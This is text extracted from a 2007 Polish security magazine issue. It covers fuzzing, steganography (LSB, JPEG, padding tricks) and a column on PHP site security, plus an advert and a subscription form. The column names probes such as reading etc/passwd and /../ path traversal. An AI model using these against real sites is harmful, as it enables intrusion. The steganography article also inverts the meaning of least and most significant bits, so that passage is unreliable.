użyć już istniejącego fuzzera do testo-
wania nowych lub nieznanych progra-
mów bądź systemów. Możemy wypo-
sażyć istniejący fuzzer w nowe funk-
cje i zacząć szukać luk w każdej apli-
kacji,  która  nas  zainteresuje.  Żaden 
fuzzer nie zawiera jeszcze wszystkich 
możliwych funkcji! Możemy wreszcie 
napisać swój własny fuzzer dla okre-
ślonego celu, który przyciągnął naszą 
uwagę.  Na  cokolwiek  się  zdecyduje-
my, prawdopodobnie żadne inne roz-
wiązanie w porównaniu z fuzzingiem, 
nie da nam większej szansy na znale-
zienie słabych punktów, które można 
wykorzystać.

Aktualnie  fuzzing  jest  niezbęd-

nym  narzędziem  dla  poprawy  jako-
ści oprogramowania i bardzo korzyst-
ną techniką dla każdego hakera. Na-
wet jeśli popularność tej techniki jest 
niekiedy  bardzo    zmienna,  niemożli-
we jest myślenie o nowoczesnych te-
stach oprogramowania bez tej techni-
ki.  Dzięki  dużej  szybkości  osiągnię-
tej  poprzez  wykorzystanie  automa-
tycznego  fuzzingu,  pojedynczy  te-
ster oprogramowania może znacząco 
zwiększyć swoją skuteczność i dzię-
ki  temu  znaleźć  o  wiele  więcej  błę-
dów,  które  najprawdopodobniej  zo-
stałyby  przeoczone  przy  klasycznej 
analizie kodu. Błędem byłoby jednak 

traktowanie fuzzingu jako non plus ul-

tra  zabezpieczeń  oprogramowania. 
Tylko  dzięki  ostrożnemu  połączeniu 
wszystkich  dostępnych  technik  moż-
na  zapewnić  bezpieczeństwo  opro-
gramowania.

Mam nadzieję, że ten artykuł (na-

wet  jeśli  zawierał  jedynie  podstawy) 
pomógł Ci zrozumieć, czym jest fuz-
zing – i co o wiele ważniejsze – za-
interesował  tym  tematem.  Co  wię-
cej, mam nadzieję, że posłuży Ci ja-
ko  obszerne  wprowadzenie  i  okaże 
się przydatny.

Fuzzing jest jedną z najbardziej in-

teresujących  technik  w  dziedzinie  za-
bezpieczeń  komputerowych,  która 
jest  aktualnie  stosowana.  Ma  ogrom-
ny potencjał dla zainteresowanych lu-
dzi  o  wszystkich  poziomach  umiejęt-
ności, zaczynając od kompletnego no-
wicjusza, który używa fuzzera do auto-
matycznego wyszukiwania luk w swo-
jej przeglądarce internetowej, po profe-
sjonalistę  projektującego  fuzzery  dla 
nieznanych protokołów. Proces rozpo-
wszechniania  się  fuzzerów,  który  ma 
miejsce w ciągu ostatnich kilka lat spo-
wodował, że współczesne oprogramo-
wanie  stało  się  trochę  bardziej  bez-
pieczne. Mimo to technika ta nigdy nie 
będzie w stanie rozwiązać wszystkich 
problemów związanych z bezpieczeń-
stwem  komputerowym.  Aby  tak  się 
stało,  o  wiele  ważniejszą  rzeczą  jest 
bowiem to, by wszyscy zaangażowa-
ni ludzie, od dewelopera do użytkow-
nika,  zrozumieli,  że  bezpieczeństwo 
systemów  jest  ważnym  atutem,  któ-
ry nie powinien być spychany na dal-
szy plan przez szybki czas powstawa-
nia oprogramowania lub wysoką sku-
teczność. l

O autorze

Autor  ma  obecnie  18  lat  i  czteroletnie 
praktyczne  doświadczenie  w  dziedzi-
nach  związanych  z  tworzeniem  opro-
gramowania oraz sieci i administrowa-
niem  systemami  Linuksa.  Interesuje 
się muzyką, teologią oraz bezpieczeń-
stwem  komputerowym.  Chce  zdobyć 
kwalifikacje, które pozwolą mu jak naj-
szybciej wyemigrować do Japonii.
Kontakt do autora: psz@observed.de.

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

74

Początki

S

teganografia to nauka o ukrywaniu infor-
macji w taki sposób, aby tylko upoważ-
nione osoby mogły ją odczytać. Wiado-

mości można ukrywać w bardzo różnych rze-
czach, m.in. innych wiadomościach, obrazach, 
muzyce, plikach binarnych, komunikatach sie-
ciowych. Praktycznie każda, nie rodząca nad-
miernych  podejrzeń,  wymiana  informacji  mo-
że być przykrywką dla stworzenia tajnego ka-
nału  informacyjnego  między  wtajemniczony-
mi osobami.

Naturalnie  techniki  steganograficzne  można 

łączyć  z  technikami  kryptologicznymi,  tworząc 
wielopoziomowy  system  zabezpieczający  pouf-
ność danego kanału. Pierwszym krokiem włamy-
wacza musi być odkrycie, w jaki sposób faktycz-
nie atakowane strony się porozumiewają, a dopie-
ro potem atakowanie wydobytych kryptogramów.

Nietrudno sobie wyobrazić taki oto przykła-

dowy  scenariusz  komunikacyjny:  dwie  strony 
dogadują się, że będą się porozumiewać przy 
pomocy publicznego serwisu dla amatorów fo-
tografii. Wiadomości będą ukryte w prezento-
wanych  zdjęciach.  Alicja  zaszyfruje  (lub  nie) 
swój tekst jawny, ukryje go w zrobionym wcze-
śniej  zdjęciu  i  opublikuje  plik  JPG  jako  swoją 
najnowszą produkcję zdjęciową. Bobek będzie 

codziennie  sprawdzał  zdjęciową  galerię  Alicji. 
Kiedy  odnajdzie  nowe  zdjęcie,  wydobędzie  z 
niego ukrytą wiadomość, odszyfruje ją i prze-
czyta.  Jeśli  zechce  odpowiedzieć,  zrobi  to  w 
analogiczny sposób, jak to uczyniła Alicja.

Dla dodatkowego zatarcia śladów obie stro-

ny  mogą  systematycznie  dodawać  do  swoich 
galerii  zdjęcia  bez  ukrytych  wiadomości.  Dla 
nich  wyłuskanie  tych  właściwych  nie  będzie 
zadaniem  trudnym  (jeśli  cała  procedura  od-
czytywania wiadomości zawiedzie dla danego 
zdjęcia będą wiedzieli, że to konkretne zdjęcie 
było zasłoną dymną), natomiast dla potencjal-
nych ciekawskich będzie to znaczące utrudnie-

Steganografia

Cezary Cerekwicki

stopień trudności

Podczas gdy kryptologia od zawsze skupiała się na 

zabezpieczeniu przechwyconej informacji przed odczytaniem, 

steganografia zabezpieczała informację przed przechwyceniem. 

Od zawsze używano technik steganograficznych do 

zabezpieczenia kanału informacyjnego przed niepowołanym 

dostępem osób trzecich.

Z artykułu dowiesz się

•   na czym polega steganografia,
•   jakich technik używano dotychczas,
•   jakie techniki są używane współcześnie.

Co powinieneś wiedzieć

•   Wskazane jest rozumienie podstaw terminologii 

kryptologicznej, znajomość podstaw informaty-
ki, oraz kompresji JPEG.

background image

Steganografia

hakin9 Nr 7/2007

www.hakin9.org

75

nie (mogą np. spędzić mnóstwo cza-
su  szukając  ukrytej  informacji  tam, 
gdzie jej nie ma).

Naukę  o  metodach  wykrywania 

steganografii nazywa się stegoanali-
zą (przez analogię z kryptoanalizą).

Historia

Niektóre  metody  steganograficzne 
są  znane  od  dawna.  Najstarsza  o 
nich wzmiaka pochodzi od Herodota 
z 440 roku przed naszą erą.

Klasycznym  przypadkiem  stega-

nografii było użycie atramentu sym-
patycznego  (tzn.  takiego,  który  w 
normalnych  warunkach  nie  jest  wi-
doczny).  Przygotowywano  wiado-
mość zwodniczą, zapisaną klasycz-
nie,  a  między  jej  wierszami  zapisy-
wano wiadomość rzeczywistą. Stąd 
wzięło  się  powiedzenie  czytać  mię-

dzy wierszami.

Przeczytanie wiadomości zapisa-

nej  atramentem  sympatycznym  wy-
maga  wykonania  jakieś  czynności, 
ujawniającej  ukryty  tekst.  Może  to 
być m.in. zanurzenie kartki w specjal-
nej  substancji  chemicznej  czy  pod-
świetlenie jej odpowiednim światłem.

W starożytności używano wosko-

wych (gdzie indziej glinianych) tablic, 
gdy  nie  znano  jeszcze  papieru.  Dla 
nich  też  opracowano  technikę  ste-
ganograficzną:  bardzo  cienkie  tabli-
ce,  dokładnie  o  połowę  cieńsze  niż 
klasyczne.  Na  jednej  pisano  wiado-
mość prawdziwą, na drugiej zwodni-
czą. Następnie łączono je tak, że wy-
glądały na jedną tablicę normalnych 
rozmiarów,  oczywiście  z  tekstem 
zwodniczym na wierzchu. Gdy pod-
kładką pod wosk była deska, można 
było wiadomość wyryć na niej, przy-
kryć  ją  woskiem  i  na  nim  nanieść 
wiadomość fałszywą.

Inna  ciekawa  technika  polega-

ła  na  wytatuowaniu  wiadomości  na 
ogolonej  głowie  niewolnika,  której 
następnie  pozwalano  zarosnąć.  W 
czasach  przed  rewolucją  informa-
cyjną czas odrastania włosów nie był 
w wielu zastosowaniach dużym pro-
blemem,  ponieważ  interakcje  mię-
dzynarodowe  były  dużo  wolniejsze 
niż dzisiaj; sama podróż posłańców 
między odległymi państwami potrafi-
ła trwać miesiącami.

Współczesna 

steganografia

Dzisiaj o steganografii myślimy głów-
nie w kontekście komputerów i Inter-
netu, dających nam olbrzymie moż-
liwości  w  dziedzinie  ukrywania  taj-
nych wiadomości. W Sieci krążą gi-
gantyczne  ilości  danych,  dające  się 
wykorzystać  jako  zasłona  dymna, 
wiele z nich jest redundantnych i od-
pornych  na  niewielkie  zmiany.  Są 
one  pozornie  przypadkowe,  ale  w 
rzeczywistości dla wtajemniczonych 
jak najbardziej sensowne.

Technika spacji

Prostą techniką ukrywania informacji w 
plikach tekstowych może być dokłada-
nie spacji na końcu każdej linii (ozna-
cza  to  jedynkę)  lub  brak  takiej  spacji 
(oznacza to zero). Pojemność tej tech-
niki nie jest duża, zaledwie jeden bit na 
linijkę  tekstu,  ale  przy  niektórych  ty-
pach tekstów (np. kodach źródłowych, 
które  często  mają  wiele  krótkich  linii) 
może się od biedy sprawdzić. Można 
też przyjąć inne kodowanie, np. czwór-
kowe z użyciem spacji i innego niewi-
docznego  znaku  jako  zera,  wówczas 
pojemność znacznie wzrośnie. Spacje 
na końcach linii są niewidoczne, więc 
na pierwszy rzut oka tekst zawierają-
cy  ukrytą  wiadomość  wygląda  iden-
tycznie jak taki sam tekst bez wiado-
mości.  Technika  jest  dość  prosta  do 
wykrycia, więc nie nadaje się do po-
ważnych  zastosowań.  Inny  będzie 
rozmiar pliku, a spacje widać nawet w 
większości edytorów tekstu.

Least significant bit

Least significant bit (LSB) to uniwer-
salna technika steganograficzna, da-
jąca się zastosować w każdym typie 

plików,  gdzie  charakter  danych  po-
zwala na pewną tolerancję błędu. W 
szczególności będą to pliki graficzne 
i muzyczne.

Jak wiadomo z podstaw informa-

tyki, poszczególne bity w danym sło-
wie reprezentującym liczbę nie wpły-
wają tak samo na jej wartość. Zmia-
na  najstarszego  bitu  najmniej  wpły-
wa na wartość, natomiast zmiana bi-
tu najmłodszego doprowadzi do naj-
większej  zmiany  reprezentowanej 
liczby.  Innymi  słowy  im  bit  starszy, 
tym  jego  wartość  w  mniejszym  za-
kresie wpływa na wartość całej licz-
by.  Z  tego  właśnie  powodu  najstar-
szy  bit  nazywa  się  bitem  najmniej 
znaczącym (least significant).

Na tej własności opiera się tech-

nika  LSB.  W  przypadku  bitmapy,  w 
której  każdy  piksel  reprezentowany 
jest przez 3 słowa (wyrażające odpo-
wiednio nasycenie czerwienią, ziele-
nią i błękitem), możemy w każdym z 
nich  użyć  najmniej  znaczącego  bitu 
do zakodowania ukrytej informacji. W 
ten sposób każdy piksel ukryje 3 bity 
wiadomości.  Nietrudno  obliczyć,  że 
bitmapa  w  rozdzielczości  1024x768 
pozwoli  przechować  294912  baj-
ty  wiadomości,  a  więc  całkiem  spo-
ro. Zważywszy, że taką bitmapę mo-
żemy  skompresować  dowolnym  al-
gorytmem  (ale  koniecznie  bezstrat-
nym!), technika LSB zaczyna wyglą-
dać dość interesująco.

Dzięki temu, że modyfikujemy je-

dynie najmniej znaczące bity, wpływ 
na jakość obrazka powinien być nie-
wielki i niewidoczny nawet w dużym 
powiększeniu.  Odróżnienie  koloru 
#030101  od  #020102  gołym  okiem 
jest  raczej  niemożliwe  (a  o  takiego 
rzędu różnicach tu mówimy).

Rysunek 1. 

W grafice po lewej stronie ukryto obrazek, który jest po prawej 

stronie

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

76

Automatyczne  wykrywanie  ste-

ganografii  jest  w  przypadku  ogól-
nym zadaniem bardzo trudnym. Na-
wet  jeśli  oryginalne  źródło  obraz-
ka jest znane (a w praktyce to ma-
ło  prawdopodobne,  wystarczy  uży-
wać np. amatorskich zdjęć jako no-
śników  i  zawsze  bezpiecznie  kaso-
wać oryginały bez ukrytej wiadomo-
ści), bo jest nim np. Dama z łasiczką
to i tak można ją zakodować na try-
liardy sposobów, w różnych skalach, 
kolorystykach, metodach i stopniach 
kompresji czy formatach plików gra-
ficznych. Odróżnienie sekwencji naj-
mniej  znaczących  bitów,  która  jest 
zaszyfrowaną wiadomością od przy-
padkowej sekwencji wygenerowanej 
na skutej jakiejś operacji na obrazku 
(choćby najzwyklejszego przeskalo-
wania go) jest bardzo trudne.

Tym  niemniej,  w  najprostszym 

scenariuszu stegoanalitycznym uda-
ło się stworzyć kilka metod określa-
jących  ze  znaczącym  prawdopodo-
bieństwem,  czy  w  danym  pliku  gra-
ficznym  jest  ukryta  informacja,  czy 
nie.  Założenia  tego  najprostszego 
scenariusza są jednak bardzo dale-
ko  idące,  przede  wszystkim  zakła-
da się znajomość użytej przez prze-
ciwnika techniki. Zważywszy, jak ła-
two  jest  tworzyć  nowe  techniki  lub 
modyfikować  istniejące  (znacząco 
zmieniając  ich  objawy),  jest  to  spo-
re ograniczenie. W sekcji W Sieci za-
mieszczony  jest  adres  strony  z  opi-
sem ataku na prosty przypadek uży-
cia LSB.

Próbowano  stworzyć  bardziej 

ogólne  metody,  opierające  się  na 
badaniu  statystycznym  obrazków  z 
ukrytymi wiadomościami oraz obraz-
ków bez takich wiadomości, ale do-
tarłem  jedynie  do  artykułów,  w  któ-
rych  opisywano  fiasko  takiego  po-
dejścia  oraz  dość  rozsądne  wyja-
śnienia, dlaczego stworzenie ogólnej 
metody jest mało prawdopodobne.

Kiedy  użyta  technika  jest  znana, 

wykrycie steganografii bywa w przy-
padku mniej wyrafinowanych algoryt-
mów (takich jak LSB) dość proste.

JPEG

Opis procesu kompresji i dekompre-
sji plików JPEG opisany jest w wielu 

źródłach, zatem nie będziemy tu jej 
przytaczać.

Zabiegi  steganograficzne  z  re-

guły wykonuje się podczas wykony-
wania kwantyfikacji, czyli już po dys-
kretnej  transformacie  cosinusowej  i 

zygzakowaniu.  Wiadomość  można 
ukryć w macierzy kwantyfikacji uży-
wając techniki LSB (a więc nadpisu-
jąc  najmniej  znaczące  bity).  Dzięki 
temu,  że  macierz  kwantyfikacji  jest 
pewną  strukturą  pomocniczą,  którą 
każdy program graficzny może two-
rzyć  według  własnego  uznania,  a 
potem  dołączać  do  nagłówka  pliku 
JPEG, jego lekko zmienione warto-
ści nie są mocno podejrzane.

Kiedy  wiadomo,  że  modyfika-

cji  uległa  macierz  kwantyfikacji,  od-
zyskanie ukrytej wiadomości nie jest 
trudne.  Detekcja  steganografii  tego 
typu również nie jest szalenie trudna 
(ale też nie banalna). Pomaga tu fakt, 
że JPEG ma też standardowe macie-
rze  kwantyfikacji,  zatem  można  ła-
two odfiltrować te pliki, które posługu-
ją się właśnie nimi i skupić się na po-
zostałych.

Powstało też wiele innych pomy-

słów na ukrywanie wiadomości w pli-
kach JPEG, głównie w jego nagłów-
ku, ponieważ bitmapa podlega kom-
presji stratnej i ukrywanie w niej in-
formacji (a już szczególnie przy uży-
ciu techniki LSB) prowadziłoby do jej 
zniszczenia.

Inne pomysły

W  kryptografii  szyfrów  blokowych 
używa  się  niekiedy  techniki  uzu-
pełniania  tekstu  jawnego  o  ciąg 
danych  losowych,  aby  dopasować 
długość  danych  wejściowych  do 
wielokrotności  bloku  akceptowane-
go przez dany algorytm szyfrujący. 

Innym  celem  dodawania  losowo-
ści  na  końcu  tekstu  jawnego  bywa 
chęć  dodatkowego  skomplikowa-
nia danych prowadzące do lepsze-
go kryptogramu. 

W każdym razie podczas odszy-

frowywania  te  dane  są  odzyskiwa-
ne i w normalnych warunkach odrzu-
cane  jako  produkt  uboczny.  Jednak 
nic nie stoi na przeszkodzie, aby za-
miast  danych  prawdziwie  losowych 
umieszczać  tam  kryptogram  tajne-
go  tekstu,  dołączać  go  do  fałszy-
wego  tekstu  jawnego  i  całość  jesz-
cze raz zaszyfrować (koniecznie in-
nym  kluczem,  a  może  nawet  innym 
algorytmem).

Podsumowanie

W  ten  sposób  nawet  jeśli  ktoś 

złamie  zewnętrzny  szyfr,  otrzyma 
fałszywy  tekst  jawny  oraz  trochę 
danych,  wyglądających  jak  typowe 
śmieci  dołączane  do  tekstu  w  celu 
dopasowania jego długości do wielo-
krotności  standardowego  bloku.  Je-
śli nawet owe śmieci kogoś bliżej za-
interesują, to będzie jeszcze musiał 
przeprowadzić  kolejny  atak  krypto-
analityczny, odgadując kolejny klucz 
do kolejnego algorytmu. l

W Sieci

•   tu jest opisany atak na prostą steganografię opartą o technikę LSB:
 

http://guillermito2.net/stegano/inplainview/index.html,

•   tu opisano algorytm F5 oraz kod źródłowy programu atakującego go:
 

http://wwwrn.inf.tu-dresden.de/~westfeld/attacks.html,

•   tu opisano, jak wykorzystywać steganografię w PHP (strona zawiera kod źródłowy):
 

http://puremango.co.uk/cm_steganography_112.php,

•   eksperymentować ze steganografią można także przy pomocy tego programu:

http://www.truecrypt.org/.

O autorze

Autor  z  wykształcenia  jest  informaty-
kiem i politologiem. Pracował jako pro-
gramista, administrator, konsultant, tłu-
macz, koordynator międzynarodowych 
projektów, dziennikarz i publicysta. Pi-
sał  programy  w  dziesięciu  językach 
programowania (od asemblerów po ję-
zyki skryptowe) w czterech systemach 
operacyjnych,  na  dwóch  platformach 
sprzętowych.
Kontakt do autora: cerekwicki@tlen.pl

background image
background image

hakin9 Nr 7/2007

www.hakin9.org

78

FELIETON

P

rzemyślenia  inspirowane  chętnie  podejmowa-
nym ostatnio tematem poziomu bezpieczeństwa 
stron internetowych, skłoniły mnie do napisania 

tego krótkiego tekstu. O konieczności bezpieczeństwa 
danych na stronie WWW nie trzeba w ogóle pisać, bo to 
jasne jak słońce. Jednak nie wszyscy myślą tak, jak ja. 
Zacząłem niedawno badać niektóre skrypty php dostęp-
ne w Sieci i niestety dochodzę do smutnego wniosku, że 
duża ich część jest napisana zupełnie nieprzemyślanie, 
a w najlepszym razie nie zadbano o ich istotne szcze-
góły. Ile się mówi teraz na temat sql injection albo script 

kiddies? Jest to zaraza Internetu, zaraza naszego spo-
łeczeństwa.  Przez  podobnych  agresorów  nasze  spo-
łeczeństwo kuleje. Ale zaraz! Przecież oni nie zawsze 
postępują  jednoznacznie  źle.  Dzięki  nim  dowiadujemy 
się,  że  najsłabszym  ogniwem  bezpieczeństwa  stron 
WWW  jest  człowiek.  Niektórzy  sobie  pomyślą:  Młody, 

nic nie wie, a się udziela, ale tu jest wręcz odwrotnie. 
Może  i  jestem  młody  wiekiem,  ale  potrafię  dostrzec 
takie anomalie w Sieci. W bardzo krótkim czasie wysu-
nąłem odpowiednie wnioski, co dodatkowo potwierdza 
moje spostrzeżenia. 

Otóż ludziom bardzo opornie przychodzi bycie ory-

ginalnym  w  naszym  konformistycznym  świecie.  Duża 
rzesza skrzypciarzy (młodych) w ogóle nie dba o bez-
pieczeństwo  swoich  prac,  a  co  dopiero  mówić  o  pro-
gramistach już doświadczonych! I to ma być przyszłość 
naszego  narodu?  Przykładów  nie  trzeba  szukać  nie 
wiadomo  jak  daleko.  Już  pierwszy,  jaki  przychodzi  mi 
na  myśl,  idealnie  zobrazuje  to,  co  chcę  Wam  przeka-
zać.  Otóż  ostatnia  fala  hacking.pl  dowiodła,  że  nawet 
potężne korporacje nie zawsze są przyzwoicie zabez-
pieczone. Jako przykład podam błędy w zabezpiecze-
niach  strony  firmy  KAREN,  zajmującej  się  sprzeda-
żą notebooków. Otóż agresor zdobył nieautoryzowany 
dostęp do bazy MySQL i podmienił opisy notebooków. 
Jak  to  możliwe?  Tutaj  kolejny  raz  zawiódł  system.  W 
skryptach  najprawdopodobniej  była  luka,  przez  którą 
nie było trudno pozyskać dostęp do bazy. Warto zazna-
czyć  że  autorem  engine'u  jest  firma  z  Bielsko-Białej, 
nie posiadająca nawet swojej strony WWW. Jaki z tego 
wyciągamy wniosek? Nawet doświadczeni programiści 
zawsze  gdzieś  popełnią  jakiś  błąd.  To  jest  nieodłącz-

Bezpieczeństwo 

na szybkiego

ny  warunek  tworzenia  skryptów  czy  programów,  lecz 
to nie zwalnia z obowiązku ich przetestowania. To nie 
zaszkodzi  a  w  dodatku  możemy  się  zabezpieczyć  na 
przyszłość. 

Wiele  możemy  znaleźć  w  Internecie  informacji  na 

temat zabezpieczenia się przed sql injection oraz tzw. 

script  kiddies.  Tokeny  i  filtracja  zmiennych  (wszyst-
kich!) – oto najczęściej zaniedbywane elementy skryp-
tów.  Token  tokenowi  nierówny,  a  nie  wszystkie  zmien-
ne są filtrowane. Bo po co filtrować wartość pola check-

box?  No  tak,  problemu  nie  ma,  póki  formularz  jest  na 
stronie  macierzystej.  Wystarczy  jednak  zrobić  takowy 
u  siebie,  a  pole  checkbox  zastąpić  polem  textarea  i 
wysłać nieocenzurowaną treść. Jak się przed tym obro-
nić?  Php  serwuje  nam  ogromną  ilość  funkcji  zabez-
pieczających.  Więcej  na  stronie  php  i  mojej,  poda-
nej  w  ramce.  Popularne  w  środowisku  script  kiddies 
jest  też  sprawdzanie  zawartości  etc/passwd  lub,  jeżeli 
mamy  includowanie  strony  w  url'u,  listowania  katalo-
gu.  Przed  takimi  prostymi  sposobami  użytkownicy  nie 
zabezpieczają  się,  bo  myślą,  że  nikt  nie  wpadnie  na 
aż tak głupi pomysł. Jednak jest inaczej. Jeżeli serwer 
jest odpowiednio skonfigurowany, to z pierwszą ścież-
ką etc/passwd powinno się nie udać, ale jeśli z konfigu-
racją jest coś nie tak, agresor ma materiał do kolejnych 
kroków  w  celu  uzyskania  nieautoryzowanego  dostępu 
do danych. Drugi przykład (dodanie /../) listuje obecny 
katalog. Nie wiem dlaczego tak jest, ale spotkałem się 
z  takim  błędem  na  stronach  kolegów.  Bardzo  prosto 
można się przed tym zabezpieczyć funkcją str_replace
Więcej informacji na ten temat znajdą Państwo na stro-
nie http://pl2.php.net/manual/pl/index.php.

Należy pamiętać, że agresorzy w dużej mierze pole-

gają na własnej spostrzegawczości, a nie na sprawdzo-
nych już sposobach, miejmy więc się na baczności.

Patryk Szlagowski

O autorze:

Autor  jest  miłośnikiem  bezpieczeństwa  internetowego.  W 
wolnym czasie zajmuje się freelancerstwem i prowadzeniem 
swojej strony www.haes-squad.net
Kontakt do autora: patrykszlagowski@interia.pl

background image

MESSAGE PROCESSING PLATFORM 
(MPP) - SYSTEM OCHRONY POCZTY

MPP  amerykańskiej  firmy  Message  Partners  po-
zwala  zaoszczędzić  cenny  czas  każdego  admi-
nistratora  –  łącząc  prostotę  z  zaawansowanymi 
możliwościami  szczegółowej  konfiguracji.  Dzięki 
systemowi  poczta  jest  chroniona  przed  spamem 
i wirusami, możemy filtrować jej treść, a także ar-
chiwizować  wiadomości  przychodzące  i  wycho-
dzące – ale to tylko podstawowe funkcje. Prawdzi-
wego „smaczku” dodają systemowi jego pozostałe 
możliwości.

MODUŁOWA BUDOWA

MPP  posiada  modułową  budowę,  dzięki  czemu 
łatwo  może  zostać  dopasowany  do  potrzeb,  a 
także  umożliwia  łatwą  rekonfigurację  całego 
systemu  pocztowego.  Podstawę  stanowi  moduł 
zarządzający  MPP,  działający  poprzez  https,  w 
którym  administrator  definiuje  całość  polityk 
bezpieczeństwa  dla  poczty  w  firmie.  Do  modu-
łu zarządzającego dołączane są dodatkowe ska-
nery  –  antywirusowe  i  antyspamowe.  W  wersji 
podstawowej  MPP  korzysta  ze  SpamAssassina 
i  Clam-AV,  natomiast  dla  wzmocnienia  ochrony, 
administrator może dokupić komercyjne skane-
ry  zintegrowane  z  MPP  (antywirusowe:  NOD32, 
Kaspersky,  Sophos,  antyspamowe:  Cloudmark  i 
Mailshell). 

MPP wykorzystuje wszystkie skanery poczty 

jako engine’y skanujące. Zadaniem np. skanera Cla-
mAV współpracującego z MPP jest przyjęcie e-ma-
ila od MPP, przeskanowanie go i odesłanie informa-
cji  o  rezultacie  oraz  ewentualnie  e-maila  z  napra-
wionym lub usuniętym załącznikiem. Właśnie dzię-
ki takiemu rozwiązaniu, administrator nie musi się 
zaprzątać  sobie  głowy  ustawieniami  poszczegól-
nych skanerów.

JAK SZYBKO ZMIENIĆ 
ANTYWIRUSA W CAŁEJ FIRMIE?

W zależności od zdefiniowanych polityk, różne gru-
py użytkowników mogą korzystać z różnych skane-
rów lub też z kilku skanerów jednocześnie (typowa 
sytuacja np. dla providera posiadającego konta dar-
mowe i komercyjne). Jeśli stwierdzimy, że jakaś gru-
pa  ma  korzystać  z  innego  skanera  niż  dotychczas 
używany, możemy go podmienić, nie naruszając po-
zostałych ustawień. Cała operacja trwa kilka sekund 
- po prostu z listy skanerów wybierzemy nowy, klika-
my – i to wszystko. Nowy skaner skanuje pocztę, a 
cała konfiguracja polityk pozostaje niezmieniona.

Równie prosta jest hipotetyczna zmiana obsłu-

gującego naszą pocztę serwera. Pomijając fakt, że 
sama zamiana z serwera np.: Sendmail na Postfixa 
byłaby dość czasochłonna, jeśli wcześniej filtrowa-
liśmy pocztę za pośrednictwem MPP, nie musimy 
się przejmować konfiguracją skanerów poczty. Wy-
starczy bowiem w MPP zamienić jedną linię w pli-
ku konfiguracyjnym lub wybrać nowy serwer pocz-
towy w panelu https, aby wszystkie skanery z ty-
mi samymi ustawieniami zaczęły współpracować z 
nowym serwerem pocztowym.

Cały system może być zarządzany z konsoli w 

trybie graficznym. Dzięki temu nic nie konfiguruje-
my z linii poleceń. Po prostu wybieramy to, co nas 
interesuje,  klikając  na  odpowiednie  opcje.  W  ten 
sposób  tworzymy  szerokie  polityki  bezpieczeń-
stwa  dla  różnych  działów  w  firmie,  wszystko  we-
dług indywidualnych potrzeb.

JAK ZMINIMALIZOWAĆ 
ILOŚĆ PYTAŃ UŻYTKOWNIKÓW?

Opcjonalnie  dostępne  są  moduły  do  zarządzania 
kwarantanną  i  archiwum.  Sprawdzanie  kwarantan-
ny  każdego  pracownika,  odpowiadanie  na  pytania 
typu – „czy coś nie zostało zatrzymane, bo czekam 
na ważny e-mail?” – mogą wyprowadzać z równo-
wagi i zajmować dużo czasu. Dzięki modułom prze-
glądania kwarantanny z poziomu przeglądarki, każ-
dy pracownik sam może teraz sprawdzać e-maile lo-
gując się na odpowiedniej stronie WWW. Moduły są 
na tyle przejrzyste i czytelne, iż nawet słabo zorien-
towany pracownik da sobie z nimi radę. Każdy użyt-
kownik w swoim katalogu kwarantanny i archiwum 
może  przejrzeć  listę  e-maili,  wyszukiwać  przesył-
ki w oparciu o różne kryteria, przesyłać, uwalniać z 

kwarantanny, usuwać e-maile, a także tworzyć wła-
sną białą i czarną listę adresów. Jeśli administrator 
chce, aby użytkownicy mieli zawsze „przy sobie” ca-
ły swój spam, możemy tak skonfigurować MPP, aby 
wszystkie e-maile spamowe były wrzucane do spe-
cjalnego  spamowego  katalogu  (IMAP)  dostępne-
go  do  subskrypcji  dla  każdego  użytkownika  MPP. 
Wszystko to bez zaprzątania uwagi administratora.

OSZCZĘDNOŚĆ ZASOBÓW SERWERA

Przy współpracy z serwerem Postfix dodatkową za-
letą jest wbudowany w MPP Postfix Policy Server, 
pozwalający odrzucić niepożądane e-maile zanim 
trafią  one  na  serwer  pocztowy.  Dzięki  tej  funkcji, 
można większość spamu odrzucać już na poziomie 
sesji SMTP. To MPP podejmuje decyzję, czy odrzucić 
wiadomość, zanim trafi ona na serwer, czy pozwolić 
na jej przekazanie i przeskanowanie przez system.

Warto  wspomnieć  także  o  funkcji  body  strip-

ping. Pozwala nam ona na odłączenie od wiadomo-
ści jej załącznika, zapisania go na serwerze ftp lub 
http, a następnie dołączenie do maila linka do miej-
sca, w którym został zapisany załącznik. Dzięki te-
mu mamy lepszą kontrolę nad przepływem doku-
mentów  oraz  zmniejszamy  rozmiary  skrzynek 
pocztowych. Załączniki możemy filtrować w opar-
ciu o rozmiar, nazwę lub na przykład typ załączni-
ka. Wyobraźmy sobie dość częstą sytuację archiwi-
zacji poczty. Chcemy archiwizować tylko małe ma-
ile, bez załączników. Dzięki odcinaniu załączników, 
można zrobić wszystko - także pozwolić na przesy-
łanie dużych wiadomości.

MPP to system w sposób kompleksowy zabez-

pieczający serwer poczty przy minimalnym nakła-
dzie pracy. Pośrednie podpięcie do serwera pocz-
towego można oczywiście zrobić za pomocą Ama-
visD.  Skonfigurować  wszystko  można  w  każdym 
skanerze osobno. Przepływem poczty można ste-
rować  zawsze  z  poziomu  serwera.  „Statystyczne” 
podejście  do  skanowania  antyspamowego  to  np.: 
Vipul’s Razor czy D-Spam. Ale po co? Czy napraw-
dę  jesteśmy  w  stanie  poświęcić  tak  wiele  czasu 
na  konfigurowanie  wszystkich  tych  programów  z 
osobna?  Wdrażając  MPP,  możemy  skupić  się  na 
znacznie przyjemniejszych zadaniach...

Sprawdź jak w praktyce działa MPP! Pobierz wersję 
testową: 

www.mpp.dagma.pl

DAGMA sp. z o.o., 
wyłączny dystrybutor MPP 
w Polsce, 

mpp@dagma.pl

tel. (32) 259 11 00.

Kontakt:

Reklama

KLUB TECHNICZNY

JAK MNIEJ CZASU POŚWIĘCAĆ NA 
ADMINISTROWANIE POCZTĄ?

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

